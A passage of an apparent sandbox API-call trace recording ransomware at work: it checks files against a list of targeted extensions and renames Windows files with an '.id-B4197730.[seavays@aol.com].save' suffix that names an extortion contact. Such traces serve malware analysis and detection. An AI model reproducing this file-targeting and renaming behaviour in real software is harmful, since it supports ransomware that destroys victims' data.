returned 1 [0160.078] lstrlenW (lpString=".xlsx") returned 5 [0160.078] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0160.078] lstrlenW (lpString=".ppt") returned 4 [0160.078] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.078] lstrlenW (lpString=".zip") returned 4 [0160.078] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0160.078] lstrlenW (lpString=".rar") returned 4 [0160.078] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString=".bz2") returned 4 [0160.078] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString=".7z") returned 3 [0160.078] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0160.078] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.078] lstrlenW (lpString=".dbf") returned 4 [0160.078] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0160.078] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.079] lstrlenW (lpString=".1cd") returned 4 [0160.079] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.079] lstrlenW (lpString=".jpg") returned 4 [0160.079] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.079] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.079] lstrlenW (lpString=".doc") returned 4 [0160.079] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString=".docx") returned 5 [0160.079] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0160.079] lstrlenW (lpString=".pdf") returned 4 [0160.079] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString=".xls") returned 4 [0160.079] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0160.079] lstrlenW (lpString=".xlsx") returned 5 [0160.079] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0160.079] lstrlenW (lpString=".ppt") returned 4 [0160.079] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.079] lstrlenW (lpString=".zip") returned 4 [0160.079] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0160.079] lstrlenW (lpString=".rar") returned 4 [0160.079] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0160.079] lstrlenW (lpString=".bz2") returned 4 [0160.080] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0160.080] lstrlenW (lpString=".7z") returned 3 [0160.080] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0160.080] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.080] lstrlenW (lpString=".dbf") returned 4 [0160.080] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0160.080] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.080] lstrlenW (lpString=".1cd") returned 4 [0160.080] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0160.080] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0160.080] lstrlenW (lpString=".jpg") returned 4 [0160.080] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0160.080] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0160.080] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0160.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.082] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10240) returned 1 [0160.082] CloseHandle (hObject=0x37c) returned 1 [0160.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0160.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.082] lstrlenW (lpString=".doc") returned 4 [0160.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0160.082] lstrlenW (lpString=".docx") returned 5 [0160.082] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0160.083] lstrlenW (lpString=".pdf") returned 4 [0160.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0160.083] lstrlenW (lpString=".xls") returned 4 [0160.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0160.083] lstrlenW (lpString=".xlsx") returned 5 [0160.083] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0160.083] lstrlenW (lpString=".ppt") returned 4 [0160.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0160.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.083] lstrlenW (lpString=".zip") returned 4 [0160.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0160.083] lstrlenW (lpString=".rar") returned 4 [0160.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0160.083] lstrlenW (lpString=".bz2") returned 4 [0160.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0160.083] lstrlenW (lpString=".7z") returned 3 [0160.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0160.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.083] lstrlenW (lpString=".dbf") returned 4 [0160.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0160.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.083] lstrlenW (lpString=".1cd") returned 4 [0160.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0160.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.083] lstrlenW (lpString=".jpg") returned 4 [0160.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0160.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.084] lstrlenW (lpString=".doc") returned 4 [0160.084] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0160.084] lstrlenW (lpString=".docx") returned 5 [0160.084] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0160.084] lstrlenW (lpString=".pdf") returned 4 [0160.084] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0160.084] lstrlenW (lpString=".xls") returned 4 [0160.084] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0160.084] lstrlenW (lpString=".xlsx") returned 5 [0160.084] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0160.084] lstrlenW (lpString=".ppt") returned 4 [0160.084] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0160.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.102] lstrlenW (lpString=".zip") returned 4 [0160.102] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0160.103] lstrlenW (lpString=".rar") returned 4 [0160.103] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0160.103] lstrlenW (lpString=".bz2") returned 4 [0160.103] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0160.103] lstrlenW (lpString=".7z") returned 3 [0160.103] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0160.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.103] lstrlenW (lpString=".dbf") returned 4 [0160.103] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0160.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.103] lstrlenW (lpString=".1cd") returned 4 [0160.103] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0160.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0160.103] lstrlenW (lpString=".jpg") returned 4 [0160.103] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0160.103] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0160.103] lstrlenW (lpString="micaut.dll") returned 10 [0160.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.231] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=1700352) returned 1 [0160.231] CloseHandle (hObject=0x37c) returned 1 [0160.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0160.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.232] lstrlenW (lpString=".doc") returned 4 [0160.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.232] lstrlenW (lpString=".docx") returned 5 [0160.232] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.232] lstrlenW (lpString=".pdf") returned 4 [0160.232] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.232] lstrlenW (lpString=".xls") returned 4 [0160.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.233] lstrlenW (lpString=".xlsx") returned 5 [0160.233] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.233] lstrlenW (lpString=".ppt") returned 4 [0160.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.233] lstrlenW (lpString=".zip") returned 4 [0160.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.233] lstrlenW (lpString=".rar") returned 4 [0160.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.233] lstrlenW (lpString=".bz2") returned 4 [0160.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.233] lstrlenW (lpString=".7z") returned 3 [0160.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.233] lstrlenW (lpString=".dbf") returned 4 [0160.233] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.233] lstrlenW (lpString=".1cd") returned 4 [0160.233] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.233] lstrlenW (lpString=".jpg") returned 4 [0160.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.234] lstrlenW (lpString=".doc") returned 4 [0160.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString=".docx") returned 5 [0160.234] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.234] lstrlenW (lpString=".pdf") returned 4 [0160.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString=".xls") returned 4 [0160.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString=".xlsx") returned 5 [0160.234] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.234] lstrlenW (lpString=".ppt") returned 4 [0160.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.234] lstrlenW (lpString=".zip") returned 4 [0160.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.234] lstrlenW (lpString=".rar") returned 4 [0160.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.235] lstrlenW (lpString=".bz2") returned 4 [0160.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.235] lstrlenW (lpString=".7z") returned 3 [0160.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.235] lstrlenW (lpString=".dbf") returned 4 [0160.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.235] lstrlenW (lpString=".1cd") returned 4 [0160.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0160.235] lstrlenW (lpString=".jpg") returned 4 [0160.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.235] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0160.235] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0160.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.237] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=503808) returned 1 [0160.237] CloseHandle (hObject=0x37c) returned 1 [0160.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0160.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.238] lstrlenW (lpString=".doc") returned 4 [0160.238] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString=".docx") returned 5 [0160.238] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0160.238] lstrlenW (lpString=".pdf") returned 4 [0160.238] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString=".xls") returned 4 [0160.238] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString=".xlsx") returned 5 [0160.238] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0160.238] lstrlenW (lpString=".ppt") returned 4 [0160.238] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.238] lstrlenW (lpString=".zip") returned 4 [0160.238] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString=".rar") returned 4 [0160.238] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.238] lstrlenW (lpString=".bz2") returned 4 [0160.238] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.238] lstrlenW (lpString=".7z") returned 3 [0160.238] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString=".dbf") returned 4 [0160.239] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString=".1cd") returned 4 [0160.239] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString=".jpg") returned 4 [0160.239] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString=".doc") returned 4 [0160.239] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.239] lstrlenW (lpString=".docx") returned 5 [0160.239] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0160.239] lstrlenW (lpString=".pdf") returned 4 [0160.239] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.239] lstrlenW (lpString=".xls") returned 4 [0160.239] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.239] lstrlenW (lpString=".xlsx") returned 5 [0160.239] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0160.239] lstrlenW (lpString=".ppt") returned 4 [0160.239] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.239] lstrlenW (lpString=".zip") returned 4 [0160.239] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.240] lstrlenW (lpString=".rar") returned 4 [0160.240] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.240] lstrlenW (lpString=".bz2") returned 4 [0160.240] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.240] lstrlenW (lpString=".7z") returned 3 [0160.240] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.240] lstrlenW (lpString=".dbf") returned 4 [0160.240] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.240] lstrlenW (lpString=".1cd") returned 4 [0160.240] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68 [0160.240] lstrlenW (lpString=".jpg") returned 4 [0160.240] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.240] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0160.240] lstrlenW (lpString="mip.exe") returned 7 [0160.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.242] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=1540608) returned 1 [0160.242] CloseHandle (hObject=0x37c) returned 1 [0160.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0160.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.242] lstrlenW (lpString=".doc") returned 4 [0160.242] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0160.242] lstrlenW (lpString=".docx") returned 5 [0160.243] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0160.243] lstrlenW (lpString=".pdf") returned 4 [0160.243] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0160.243] lstrlenW (lpString=".xls") returned 4 [0160.243] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0160.243] lstrlenW (lpString=".xlsx") returned 5 [0160.243] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0160.243] lstrlenW (lpString=".ppt") returned 4 [0160.243] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0160.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.243] lstrlenW (lpString=".zip") returned 4 [0160.243] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0160.243] lstrlenW (lpString=".rar") returned 4 [0160.243] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0160.243] lstrlenW (lpString=".bz2") returned 4 [0160.243] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0160.243] lstrlenW (lpString=".7z") returned 3 [0160.243] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0160.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.243] lstrlenW (lpString=".dbf") returned 4 [0160.243] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0160.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.243] lstrlenW (lpString=".1cd") returned 4 [0160.243] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0160.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.244] lstrlenW (lpString=".jpg") returned 4 [0160.244] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.244] lstrlenW (lpString=".doc") returned 4 [0160.244] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0160.244] lstrlenW (lpString=".docx") returned 5 [0160.244] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0160.244] lstrlenW (lpString=".pdf") returned 4 [0160.244] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString=".xls") returned 4 [0160.244] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString=".xlsx") returned 5 [0160.244] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0160.244] lstrlenW (lpString=".ppt") returned 4 [0160.244] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.244] lstrlenW (lpString=".zip") returned 4 [0160.244] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString=".rar") returned 4 [0160.244] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0160.244] lstrlenW (lpString=".bz2") returned 4 [0160.244] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0160.245] lstrlenW (lpString=".7z") returned 3 [0160.245] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0160.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.245] lstrlenW (lpString=".dbf") returned 4 [0160.245] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0160.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.245] lstrlenW (lpString=".1cd") returned 4 [0160.245] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0160.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0160.245] lstrlenW (lpString=".jpg") returned 4 [0160.245] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0160.245] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x459a740, Size=0x4000) returned 0x459a740 [0160.246] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0160.246] lstrlenW (lpString="mraut.dll") returned 9 [0160.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft 